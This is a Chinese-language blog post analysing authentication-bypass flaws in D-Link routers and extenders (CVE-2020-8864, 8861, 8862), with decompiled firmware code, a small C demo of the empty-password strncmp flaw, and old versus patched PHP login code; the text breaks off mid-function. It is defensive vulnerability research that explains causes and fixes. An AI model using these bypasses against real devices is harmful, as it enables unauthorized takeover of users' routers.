IoT 设备中身份验证绕过的一些漏洞(1)

Catalpa 网络安全爱好者

Update: 2021-01-18: 修正 CVE-2020-8861 分析过程

在 IoT 漏洞中,身份验证漏洞出现频率较高,并且能够造成的危害很大,通过身份验证的绕过,攻击者可以访问到很多敏感 API,甚至可以结合其他漏洞直接获取设备 shell,给用户带来重大损失。

CVE-2020-8864

2020 年 2 月 24 日,ZDI 团队披露了存在于 D-Link 多个型号路由器中的身份验证绕过漏洞,通过利用漏洞,攻击者可从 LAN 侧轻易的控制路由器,实现修改 admin 用户密码、篡改路由器默认配置、甚至结合其他漏洞实现蠕虫植入等操作。

漏洞基本信息

以下是从披露页面摘抄的漏洞信息

1
2
3
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-867, DIR-878, and DIR-882 routers. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of HNAP login requests. The issue results from the lack of proper handling of empty passwords. An attacker can leverage this vulnerability to execute arbitrary code on the router.

此漏洞影响 DIR-867, DIR-878, DIR-882 路由器,漏洞产生原因大概是在处理 HNAP 请求过程中,由于缺少了对空密码的验证流程,导致攻击者可以使用空密码绕过身份验证,从而访问敏感 API 接口。

漏洞类型:身份验证绕过

漏洞威胁:较高 (8.8)

漏洞影响:攻击者绕过身份验证,从而访问敏感 API,执行敏感操作。

漏洞分析

可以去 ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ 下载固件,这里我使用的是 1.10B02 25MB 版本,其中包含了未加密的固件,可以直接拿过来进行解包。

解包之后简单看一下整个文件系统,web 服务器使用的是 lighttpd,通过查看其配置文件,发现大部分请求都会被转发到 prog.cgi 进行处理。

拿到 prog.cgi 放进 Ghidra 进行分析,根据漏洞信息,我们需要寻找处理 HNAP 登录请求的代码,先搜索字符串 Login 看一下有没有什么线索。

找到了几个包含 login 的字符串,其中第一项 /HNAP1/login 感觉和请求有关,通过查找交叉引用,找到了函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
undefined4 FUN_0041ed9c(int param_1)

{
int iVar1;
undefined4 uVar2;

iVar1 = strncmp(*(char **)(param_1 + 0xc4),"/HNAP1/Login",0xc);
if ((iVar1 == 0) || (iVar1 = strncmp(*(char **)(param_1 + 0xc4),"/HNAP1/Logout",0xd), iVar1 ==0))
{
uVar2 = 1;
}
else {
uVar2 = 0;
}
return uVar2;
}

交叉引用此函数找到了判断 login 请求的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
undefined4 FUN_004249ec(int param_1)

{
int iVar1;
char *__s1;
undefined4 uVar2;

FUN_00424610(param_1);
iVar1 = FUN_0041ed9c(param_1);
if (iVar1 != 0) {
__s1 = (char *)webGetVarString(param_1,"/Login/Action");
if ((__s1 == (char *)0x0) || (iVar1 = strncmp(__s1,"request",7), iVar1 != 0)) {
if ((__s1 == (char *)0x0) || (iVar1 = strncmp(__s1,"login",5), iVar1 != 0)) {
if ((__s1 == (char *)0x0) || (iVar1 = strncmp(__s1,"logout",6), iVar1 != 0)) {
FUN_00424c88(param_1,3);
}
else {
FUN_00422420(param_1);
}
}
else {
hnap_login(param_1);
}
}
else {
FUN_004206c0(param_1);
}
return 1;
}
iVar1 = FUN_00423bd4(param_1);
if (iVar1 == 0) {
iVar1 = FUN_00423d70(param_1);
if (iVar1 != 0) {
uVar2 = FUN_00422764(param_1);
return uVar2;
}
return 0;
}
iVar1 = FUN_00424890(param_1);
if (iVar1 == 1) {
websDefaultHandler(param_1,0,0,0,"/Index.html","/Index.html",*(undefined4 *)(param_1 +0xf8));
return 1;
}
uVar2 = FUN_00423ecc(param_1);
return uVar2;
}

通过取得 /Login/Action 字段来判断这个请求是登录还是登出。于是可以定位到登录请求函数 hnap_login。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
undefined4 hnap_login(undefined4 param_1)

{
char *__s;
uchar *data;
int iVar1;
char *username;
char *password;
size_t len;
EVP_MD *md;
undefined4 uVar2;
char *local_378;
uint local_374;
char realPassword [512];
byte abStack352 [128];
uint local_e0;
HMAC_CTX HStack220;

memset(realPassword,0,0x200);
memset(abStack352,0,0x80);
local_378 = realPassword;
local_e0 = 0x80;
__s = (char *)websGetRequestPrivateKey(param_1);
data = (uchar *)FUN_0042176c(param_1);
iVar1 = FUN_00421a44(param_1);
if (iVar1 != 0) {
FUN_00424c88(param_1,5);
return 1;
}
username = (char *)webGetVarString(param_1,"/Login/Username");
password = (char *)webGetVarString(param_1,"/Login/LoginPassword");
if ((((__s == (char *)0x0) || (data == (uchar *)0x0)) || (username == (char *)0x0)) ||
((password == (char *)0x0 ||
((iVar1 = strncmp(username,"Admin",5), iVar1 != 0 &&
(iVar1 = strncmp(username,"admin",5), iVar1 != 0)))))) {
LAB_004223b8:
FUN_00424c88(param_1,4);
uVar2 = 1;
}
else {
HMAC_CTX_init(&HStack220);
len = strlen(__s);
md = EVP_md5();
HMAC_Init_ex(&HStack220,__s,len,md,(ENGINE *)0x0);
len = strlen((char *)data);
HMAC_Update(&HStack220,data,len);
HMAC_Final(&HStack220,abStack352,&local_e0);
HMAC_CTX_cleanup(&HStack220);
local_374 = 0;
while (local_374 != local_e0) {
sprintf(local_378,"%02x",(uint)abStack352[local_374]);
local_374 = local_374 + 1;
local_378 = local_378 + 2;
}
FUN_0041df08(realPassword,0x200);
__s = (char *)nvram_safe_get("IsDefaultLogin");
iVar1 = strcmp(__s,"1");
if (iVar1 != 0) {
len = strlen(password);
iVar1 = strncmp(realPassword,password,len);
if (iVar1 != 0) {
FUN_00421dcc(param_1);
goto LAB_004223b8;
}
}
FUN_0042194c(param_1);
FUN_0041fee8(param_1);
FUN_00424c88(param_1,1);
uVar2 = 0;
}
return uVar2;
}

这个函数的代码比较多,我用 C 写了一个简化版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>
#include <malloc.h>

int main(){
char* username = "admin";
char* password = "admin888";

char* realUsername = "admin";
char* realPassword = "admin888";

if(strncmp(realUsername, username, 5)){
printf("Username incorrect!\n");
return 0;
}
int len = strlen(password);
if(!strncmp(realPassword, password, len)){
printf("Success\n");
return 1;
}
printf("Failed\n");
return 0;
}

前两个字符串代表用户的请求,后两个代表正确的字符串,代码判断逻辑是要求用户名等于 admin,这没有什么问题,但是在判断密码的时候,首先会使用 strlen 计算用户输入的密码长度,然后带入 strncmp 函数和正确的密码进行比较,如果用户输入的密码为空,那么最终参与 strncmp 比较的 len 就是 0,此时函数会默认返回 0。

于是验证成功就存在了两种情况,一是密码真的正确,二是密码为空,大家可以自己编译上面的代码试一下。

修复手段呢?可以在 strlen 计算密码长度之后对长度进行判断,如果等于零就直接返回登录失败。

经过测试,DIR 878 等型号的路由器对于 HNAP login 请求的处理是相同的,漏洞的成因也是一样。

CVE-2020-8861

影响 DAP-1330 Wi-Fi 拓展器。

漏洞基本信息

摘抄漏洞描述如下:

1
2
3
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DAP-1330 Wi-Fi range extenders. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of HNAP login requests. The issue results from the lack of proper handling of cookies. An attacker can leverage this vulnerability to execute arbitrary code on the router.

漏洞出现在处理 HNAP 请求中,对于 cookie 的处理不恰当可以导致身份验证绕过,攻击者可以访问敏感 API ,篡改管理员账户密码。

漏洞分析

首先去 ftp://ftp2.dlink.com/PRODUCTS/DAP-1330/REVA/ 下载固件,注意需要下载 v1.01B04 版本固件,因为在最新版中漏洞已经修复。

根据漏洞描述找不到太多的信息,通过搜索 cookie 字符串,找到了可能是用于处理 login 请求的函数,该函数位于 libhnap.so 共享库中,函数名 check_login_addr,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
int check_login_addr(undefined4 param_1,char *param_2)

{
int iVar1;
char *__s1;
undefined4 uVar2;
size_t sVar3;
size_t sVar4;
uint32_t uVar5;
uint32_t uVar6;
uint32_t uVar7;
uint32_t uVar8;
time_t local_2c0;
char *local_2bc;
int local_2b8;
char *local_2b4;
char *local_2b0;
undefined4 local_2ac;
undefined2 local_2a8;
undefined4 local_2a4;
undefined4 local_2a0;
undefined2 local_29c;
undefined local_29a;
uint32_t local_298;
uint32_t local_294;
uint32_t local_290;
uint32_t local_28c;
undefined4 local_288;
undefined4 local_284;
undefined4 local_280;
undefined4 local_27c;
undefined4 local_278;
undefined local_274;
undefined4 local_270;
undefined4 local_26c;
undefined4 local_268;
undefined4 local_264;
undefined4 local_260;
undefined local_25c;
char acStack600 [36];
undefined auStack564 [51];
char local_201;
undefined local_200;
char local_1ff;
undefined auStack495 [67];
char acStack428 [88];
char acStack340 [40];
undefined local_12c;
char acStack299 [6];
char acStack293 [21];
char acStack272 [11];
char acStack261 [21];
char acStack240 [40];
time_t local_c8;
char acStack196 [50];
char acStack146 [106];

local_2bc = (char *)0x0;
local_2b8 = 0;
local_2b4 = (char *)0x0;
local_2b0 = (char *)0x0;
iVar1 = getElementValue(param_1,"Action",&local_2bc);
__s1 = local_2bc;
if (1 < iVar1) {
iVar1 = strcasecmp(local_2bc,"request");
if (iVar1 == 0) {
print_hnap_result(1);
local_284 = 0;
local_280 = 0;
local_27c = 0;
local_278 = 0;
local_274 = 0;
local_288 = 0;
generate_random_str(&local_288,0x14);
printf("<Challenge>%s</Challenge>",&local_288);
local_2a4 = 0;
local_2a0 = 0;
local_29c = 0;
local_29a = 0;
__s1 = getenv("Cookie");
if (__s1 != (char *)0x0) {
__s1 = getenv("Cookie");
splite_cookie(__s1,&local_2a4);
iVar1 = isExpireCookie(&local_2a4,param_2);
if (iVar1 == 0) goto LAB_00017320;
}
generate_random_str(&local_2a4,10);
LAB_00017320:
printf("<Cookie>%s</Cookie>",&local_2a4);
local_270 = 0;
local_26c = 0;
local_268 = 0;
local_264 = 0;
local_260 = 0;
local_25c = 0;
generate_random_str(&local_270,0x14);
printf("<PublicKey>%s</PublicKey>",&local_270);
local_2ac = 0;
local_2a8 = 0;
genAuthImg(&local_2ac,5);
memset(acStack340,0,0x90);
strcpy(acStack340,param_2);
local_12c = 0;
strcpy(acStack299,(char *)&local_2ac);
strcpy(acStack293,(char *)&local_288);
strcpy(acStack272,(char *)&local_2a4);
strcpy(acStack261,(char *)&local_270);
strcpy(acStack240,"");
uVar2 = setLoginInfo(acStack340);
removeTimeoutLoginInfo();
return uVar2;
}
iVar1 = strcasecmp(__s1,"login");
if ((iVar1 == 0) && (iVar1 = getElementValue(param_1,"Username",&local_2b8), 1 < iVar1)) {
memset(acStack196,0,0x96);
strcpy(acStack196,"UserName");
__s1 = (char *)tolower(local_2b8);
strcpy(acStack146,__s1);
memset(&local_200,0,0x52);
getDeviceSecurity(&local_200,acStack196,1);
if (local_1ff == '\0') {
print_hnap_result(3);
__s1 = getenv("Cookie");
splite_cookie(__s1,acStack272);
goto LAB_0001792c;
}
__s1 = getenv("Cookie");
iVar1 = getLoginInfo(__s1,acStack340);
if (iVar1 != 1) {
uVar2 = 3;
goto LAB_0001794c;
}
iVar1 = strcmp(acStack340,param_2);
if (iVar1 == 0) {
memset(auStack564,0,0x34);
iVar1 = getDeviceSettingsObj(auStack564);
if (iVar1 != 1) {
return iVar1;
}
if (local_201 == '\x01') {
getElementValue(param_1,"Captcha",&local_2b0);
iVar1 = strcmp(acStack299,local_2b0);
if (iVar1 != 0) {
print_hnap_result(3);
__s1 = getenv("Cookie");
splite_cookie(__s1,acStack272);
iVar1 = removeLoginInfo(acStack340);
if (iVar1 != 1) goto LAB_00017940;
}
}
iVar1 = getElementValue(param_1,"LoginPassword",&local_2b4);
if (iVar1 < 2) {
return 1;
}
memset(acStack428,0,0x55);
sprintf(acStack428,"%s%s",acStack261,auStack495);
local_294 = 0;
local_290 = 0;
local_28c = 0;
local_298 = 0;
sVar3 = strlen(acStack293);
sVar4 = strlen(acStack428);
hmac_md5(acStack293,sVar3,acStack428,sVar4,&local_298);
uVar5 = htonl(local_298);
uVar6 = htonl(local_294);
uVar7 = htonl(local_290);
uVar8 = htonl(local_28c);
sprintf(acStack240,"%08X%08X%08X%08X",uVar5,uVar6,uVar7,uVar8);
local_294 = 0;
local_290 = 0;
local_28c = 0;
local_298 = 0;
sVar3 = strlen(acStack293);
sVar4 = strlen(acStack240);
hmac_md5(acStack293,sVar3,acStack240,sVar4,&local_298);
memset(acStack600,0,0x21);
uVar5 = htonl(local_298);
uVar6 = htonl(local_294);
uVar7 = htonl(local_290);
uVar8 = htonl(local_28c);
sprintf(acStack600,"%08X%08X%08X%08X",uVar5,uVar6,uVar7,uVar8);
iVar1 = strcmp(local_2b4,acStack600);
if (iVar1 == 0) {
local_12c = local_200;
time(&local_2c0);
local_c8 = local_2c0;
iVar1 = setLoginInfo(acStack340);
uVar2 = 4;
if (iVar1 == 1) goto LAB_0001794c;
}
print_hnap_result(3);
LAB_0001792c:
uVar2 = removeLoginInfo(acStack340);
return uVar2;
}
}
}
LAB_00017940:
uVar2 = 3;
iVar1 = 0;
LAB_0001794c:
print_hnap_result(uVar2);
return iVar1;
}

参考另一篇分析文章: https://wzt.ac.cn/2021/01/17/DCS-960L/

本漏洞成因和 ZDI-CAN-11352 相同,添加注释的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
        if ( v44[51] != 1
|| (getElementValue(a1, "Captcha", &v29), !strcmp(&v47[10] + 1, v29))
|| (print_hnap_result(3), v9 = getenv("Cookie"), splite_cookie(v9, &v47[17]), removeLoginInfo(v47) == 1) )
{
if ( getElementValue(a1, "LoginPassword", &v28) < 2 )
return v6;
memset(v46, 0, 85);
sprintf(v46, "%s%s", &v47[19] + 3, &v45[17]);// key = public key + cookie
v36 = 0;
v37 = 0;
v38 = 0;
v35 = 0;
v10 = strlen(&v47[11] + 3);
v11 = strlen(v46);
hmac_md5(&v47[11] + 3, v10, v46, v11, &v35);// private_key = hmac_md5(challenge, chalenge_len, key, key_len)
v12 = htonl(v35);
v13 = htonl(v36);
v15 = htonl(v37);
v14 = htonl(v38);
sprintf(&v47[25], "%08X%08X%08X%08X", v12, v13, v15, v14);
v36 = 0;
v37 = 0;
v38 = 0;
v35 = 0;
v17 = strlen(&v47[11] + 3);
v16 = strlen(&v47[25]);
hmac_md5(&v47[11] + 3, v17, &v47[25], v16, &v35);// login_password = hmac_md5(challenge, chalenge_len, private_key, private_key_len)
memset(v43, 0, 33);
v18 = htonl(v35);
v19 = htonl(v36);
v21 = htonl(v37);
v20 = htonl(v38);
sprintf(v43, "%08X%08X%08X%08X", v18, v19, v21, v20);
if ( strcmp(v28, v43) // strcmp(given_login_password, login_password)
|| (HIBYTE(v47[10]) = v45[0], time(&v25), v47[35] = v25, v6 = setLoginInfo(v47), v22 = 4, v6 != 1) )
{
print_hnap_result(3);
return removeLoginInfo(v47);
}
LABEL_24:
print_hnap_result(v22);
return v6;
}
}
}

验证密码的时候会获取 cookie 中的某个字段,然后按照以下算法

1
2
3
key = public key + cookie
private_key = hmac_md5(challenge, chalenge_len, key, key_len)
login_password = hmac_md5(challenge, chalenge_len, private_key, private_key_len)

计算得到 login_password。静态分析来看,cookie 和 LoginPassword 参数都是用户从外部传递的,这样就能控制最后计算得到的 login_password 结果,可以构造特殊的登录请求来绕过登录。

新版本中代码片段如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ( v43[51] != 1
|| (getElementValue(a1, "Captcha", &v28), !strcmp(&v46[10] + 1, v28))
|| (print_hnap_result(3), v14 = getenv("Cookie"), splite_cookie(v14, &v46[17]), removeLoginInfo(v46) == 1) )
{
if ( getElementValue(a1, "LoginPassword", &v27) < 2 )
return v12;
v35 = 0;
v36 = 0;
v37 = 0;
v34 = 0;
v15 = strlen(&v46[11] + 3);
v16 = strlen(&v46[25]);
hmac_md5(&v46[11] + 3, v15, &v46[25], v16, &v34);
memset(v42, 0, 33);
v17 = htonl(v34);
v18 = htonl(v35);
v20 = htonl(v36);
v19 = htonl(v37);
sprintf(v42, "%08X%08X%08X%08X", v17, v18, v20, v19);

hmac_md5 的 key 被设置成 &v46[25],观察 setLoginInfo 函数片段

1
2
3
4
5
6
7
      case 6:
v2(&v13[900], "PrivateKey");
v4 = &v13[950];
v5 = v46 + 100;
LABEL_10:
strcpy(v4, v5);
goto LABEL_14;

v46 + 100 转换成索引形式就是 v46[25],它被定义成 PrivateKey。再来看 getLoginInfo 片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        if ( strcasecmp(v4 + v8 + 8, "PrivateKey") )
{
if ( strcasecmp(v4 + v8 + 8, "TimeStamp") )
{
if ( !strcasecmp(v4 + v8 + 8, "QueryTime") )
*(a2 + 140) = atol(v4 + 150 * i + 58);
}
else
{
*(a2 + 136) = atol(v4 + 150 * i + 58);
}
goto LABEL_26;
}
v6 = v4 + v8 + 58;
v7 = a2 + 100;
LABEL_13:
strcpy(v7, v6);

其中 V7 就是上述的 v46[25],很明显,用户信息中本来就默认保存了 private key 这个值,但是旧版本中要先调用 hmac_md5 计算得到 private key,而且计算过程中带入了攻击者可控的数据,这样会导致验证绕过。

新版本中取消了动态计算 private_key 的过程,直接从已经保存的用户信息中获取,并且在 check_login_addr 函数中检查了 getLoginInfo 的返回值。

CVE-2020-8862

2020年2月21日,ZDI 团队披露了在 Dlink DAP-2610 路由器中存在身份验证绕过漏洞,漏洞成因是在处理登录请求的时候对于 password 处理不恰当。

漏洞分析

此设备使用 php 实现 web 端相关逻辑,我们采用补丁对比的策略进行漏洞定位。

首先根据披露信息可以得知,漏洞出现在处理 password 的逻辑中,那么首先搜索 login 字符串,查找和登录有关的代码,这里我在 web 目录下找到了 login.php 和 __login.php,这两个文件似乎和登录逻辑相关。摘抄相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?
/* vi: set sw=4 ts=4: */
//echo "Username[".$LOGIN_USER."], Password[".$LOGIN_PASSWD."]\n";
$AUTH_RESULT="401";

$authnum=0;
$max_authnum=query("/proc/web/authnum");
$max_session=query("/proc/web/sessionum");
$cfg_radiusclient_enable=query("/wlan/inf:1/radiusclient_enable");
$index=1;
while($index<=$max_session)
{
if(fread("/var/proc/web/session:".$index."/user/ac_auth")=="1"){$authnum++;}
$index++;
}
$ac_auth=fread("/var/proc/web/session:".$sid."/user/ac_auth");
if($authnum>=$max_authnum && $ac_auth!="1"){$full="1";}

if($full=="1" || $sid=="-1")
{
$AUTH_RESULT="full";
}
else
{
$match="";
if($LOGIN_USER!="")// && $password!="")
{
// check the user name and password.
if($cfg_radiusclient_enable!=1)
{
for("/sys/user")
{
if($match=="")
{
$user_d=query("name");
if($ac_auth == "1")
{
$match="1";
}
if($LOGIN_USER == $user_d && $ac_auth != "1")
{
$prefix="/var/proc/web/session:".$sid."/user";
$hmac_md5_path = "/var/proc/web/hmac_md5/".$session_uid;
$password_noenc = query("password");
$acc_per=query("acc_per");
$password_d = fread($hmac_md5_path."/password_md5");
if($LOGIN_PASSWD == $password_d)
{
$match="1";
$group=query("group");
$private_key = fread($hmac_md5_path."/private_key");
$password_md5 = fread($hmac_md5_path."/password_md5");
fwrite($prefix."/id",$sid);
fwrite($prefix."/name", $LOGIN_USER);
fwrite($prefix."/pass", $password_noenc);
fwrite($prefix."/group", $group);
fwrite($prefix."/ac_auth", "1");
fwrite($prefix."/acc_per", $acc_per);
fwrite($prefix."/private_key", $private_key);
fwrite($prefix."/password_md5", $password_md5);
//login access delete hamc
unlink($hmac_md5_path."/private_key");
unlink($hmac_md5_path."/password_md5");
unlink($hmac_md5_path."/challenge");
unlink($hmac_md5_path."/public_key");
unlink($hmac_md5_path."/time");
unlink($hmac_md5_path."/session_uid");
unlink($hmac_md5_path);
}
else
{
$match="-1";
unlink($prefix."/ac_auth");
}
}
}
}
}
else
{
set("/wlan/inf:1/radiusclient_username",$LOGIN_USER);
set("/wlan/inf:1/radiusclient_password",$LOGIN_PASSWD);
set("/runtime/web/sub_str","RADIUSCLIENT");
$user_d=query("/sys/user:1/name");
$password_d=query("/sys/user:1/password");
$group=query("/sys/user:1/group");
$prefix="/var/proc/web/session:".$sid."/user";
fwrite($prefix."/name", $user_d);
fwrite($prefix."/group", $group);
fwrite($prefix."/ac_auth", "1");
$match="-1";
$AUTH_RESULT="radiusclient";
}
}
if($match=="1") {$AUTH_RESULT="";}
}
?>

上面是 __login.php 的代码,从注释和逻辑上大致分析一下可以确定这里就是用于验证登录信息的位置,再来看看修复过的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?
/* vi: set sw=4 ts=4: */
//echo "Username[".$LOGIN_USER."], Password[".$LOGIN_PASSWD."]\n";
$AUTH_RESULT="401";

$authnum=0;
$max_authnum=query("/proc/web/authnum");
$max_session=query("/proc/web/sessionum");
$cfg_radiusclient_enable=query("/wlan/inf:1/radiusclient_enable");
$index=1;
while($index<=$max_session)
{
if(fread("/var/proc/web/session:".$index."/user/ac_auth")=="1"){$authnum++;}
$index++;
}
$ac_auth=fread("/var/proc/web/session:".$sid."/user/ac_auth");
if($authnum>=$max_authnum && $ac_auth!="1"){$full="1";}

if($full=="1" || $sid=="-1")
{
$AUTH_RESULT="full";
}
else
{
$match="";
if($LOGIN_USER!="")// && $password!="")
{
// check the user name and password.
if($cfg_radiusclient_enable!=1)
{
for("/sys/user")
{
if($match=="")
{
$user_d=query("name");
if($ac_auth == "1")
{
$match="1";
}
if($LOGIN_USER == $user_d && $ac_auth != "1")
{
$prefix="/var/proc/web/session:".$sid."/user";
$hmac_md5_path = "/var/proc/web/hmac_md5/".$session_uid;
$password_noenc = query("password");
$acc_per=query("acc_per");
$password_d = fread($hmac_md5_path."/password_md5");
if($password_d != "" && $LOGIN_PASSWD == $password_d)
{
$match="1";
$group=query("group");
$private_key = fread($hmac_md5_path."/private_key");
$password_md5 = fread($hmac_md5_path."/password_md5");
fwrite($prefix."/id",$sid);
fwrite($prefix."/name", $LOGIN_USER);
fwrite($prefix."/pass", $password_noenc);
fwrite($prefix."/group", $group);
fwrite($prefix."/ac_auth", "1");
fwrite($prefix."/acc_per", $acc_per);
fwrite($prefix."/private_key", $private_key);
fwrite($prefix."/password_md5", $password_md5);
//login access delete hamc
unlink($hmac_md5_path."/private_key");
unlink($hmac_md5_path."/password_md5");
unlink($hmac_md5_path."/challenge");
unlink($hmac_md5_path."/public_key");
unlink($hmac_md5_path."/time");
unlink($hmac_md5_path."/session_uid");
unlink($hmac_md5_path);
}
else
{
$match="-1";
unlink($prefix."/ac_auth");
}
}
}
}
}
else
{
set("/wlan/inf:1/radiusclient_username",$LOGIN_USER);
set("/wlan/inf:1/radiusclient_password",$LOGIN_PASSWD);
set("/runtime/web/sub_str","RADIUSCLIENT");
$user_d=query("/sys/user:1/name");
$password_d=query("/sys/user:1/password");
$group=query("/sys/user:1/group");
$prefix="/var/proc/web/session:".$sid."/user";
fwrite($prefix."/name", $user_d);
fwrite($prefix."/group", $group);
fwrite($prefix."/ac_auth", "1");
$match="-1";
$AUTH_RESULT="radiusclient";
}
}
if($match=="1") {$AUTH_RESULT="";}
}
?>

实际上存在差别的代码只有一句:

1
2
3
4
5
旧版本:
if($LOGIN_PASSWD == $password_d)

新版本:
if($password_d != "" && $LOGIN_PASSWD == $password_d)

新版本中验证了变量 $password_d 是否为空,然后才与 $LOGIN_PASSWD 进行比较。

那么这些变量是从哪里来的呢?通过查看 login.php 代码可以确定 $LOGIN_PASSWD 变量是用户输入的密码,而 $password_d 从上面的代码来看是从文件 /var/proc/web/hmac_md5/$session_uid/password_md5 读取的。

通过搜索 password_md5 ,发现 httpd 文件中包含此字符串,关键函数是 FUN_00012bb8,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
undefined4 FUN_00012bb8(int param_1)

{
int iVar1;
uint __seed;
int iVar2;
size_t sVar3;
uint uVar4;
byte *pbVar5;
byte *pbVar6;
char *__s1;
long local_29c;
undefined4 local_25c;
undefined4 local_258;
undefined4 local_254;
undefined4 local_250;
undefined4 local_24c;
undefined4 local_248;
undefined4 local_244;
undefined4 local_240;
undefined4 local_23c;
undefined4 local_238;
undefined4 local_234;
undefined4 local_230;
undefined4 local_22c;
undefined4 local_228;
undefined2 uStack548;
undefined local_222;
char acStack544 [88];
undefined auStack456 [68];
undefined4 local_184;
undefined4 local_180;
undefined4 local_17c;
undefined4 local_178;
undefined4 local_174;
undefined4 local_170;
undefined4 local_16c;
undefined4 local_168;
undefined local_164;
char acStack352 [128];
char acStack224 [128];
undefined4 local_60;
undefined4 local_5c;
undefined4 local_58;
undefined4 local_54;
undefined4 local_50;
undefined local_4c;
undefined4 local_48;
undefined4 local_44;
undefined4 local_40;
undefined4 local_3c;
undefined4 local_38;
undefined4 local_34;
undefined4 local_30;
undefined4 local_2c;
undefined4 local_28;
uint local_24;

local_48 = 0;
local_44 = 0;
local_40 = 0;
local_3c = 0;
local_38 = 0;
local_34 = 0;
local_30 = 0;
local_2c = 0;
local_28 = 0;
local_24 = 0;
local_60 = 0;
local_5c = 0;
local_58 = 0;
local_54 = 0;
local_50 = 0;
local_4c = 0;
memset(acStack224,0,0x80);
memset(acStack352,0,0x80);
local_184 = 0;
local_180 = 0;
local_17c = 0;
local_178 = 0;
local_174 = 0;
local_170 = 0;
local_16c = 0;
local_168 = 0;
local_164 = 0;
memset(auStack456,0,0x41);
memset(acStack544,0,0x56);
local_22c = 0;
local_228 = 0;
uStack548 = 0;
local_222 = 0;
local_23c = 0;
local_238 = 0;
local_234 = 0;
local_230 = 0;
local_25c = 0;
local_258 = 0;
local_254 = 0;
local_250 = 0;
local_24c = 0;
local_248 = 0;
local_244 = 0;
local_240 = 0;
FUN_0001f460(&local_25c,0x20,"%s/sessiontimeout","/var/proc/web/");
sysinfo((sysinfo *)&local_29c);
iVar1 = FUN_0001f7b8(param_1,*(undefined4 *)(param_1 + 0xbcc));
if (iVar1 != 1) {
__s1 = (char *)(param_1 + 0x13f8);
local_22c = 0;
local_228 = 0;
uStack548 = 0;
local_222 = 0;
FUN_0001f460(&local_22c,10,"%s/hmac_md5/%s/session_uid","/var/proc/web/",__s1);
iVar1 = strcmp(__s1,(char *)&local_22c);
if (iVar1 == 0) {
snprintf((char *)&local_25c,0x1f,"%d",local_29c);
FUN_0001f4f4(&local_25c,0x20,"%s/hmac_md5/%s/time","/var/proc/web/",__s1);
}
else {
__seed = time((time_t *)0x0);
srand(__seed);
iVar1 = 0;
do {
iVar2 = rand();
__seed = iVar2 % 0x3e;
if (__seed < 10) {
*(char *)((int)&local_48 + iVar1) = (char)__seed + '0';
}
else {
uVar4 = __seed - 10;
if (uVar4 < 0x1a) {
__seed = __seed + 0x37;
}
if (uVar4 < 0x1a) {
*(char *)((int)&local_48 + iVar1) = (char)__seed;
}
else {
if (__seed - 0x24 < 0x1a) {
*(char *)((int)&local_48 + iVar1) = (char)__seed + '=';
}
else {
*(undefined *)((int)&local_48 + iVar1) = 0x30;
}
}
}
iVar1 = iVar1 + 1;
} while (iVar1 != 0x28);
iVar1 = 0;
local_24 = local_24 & 0xffffff;
strncpy((char *)&local_60,(char *)&local_48,0x14);
strncpy(acStack224,(char *)&local_34,0x14);
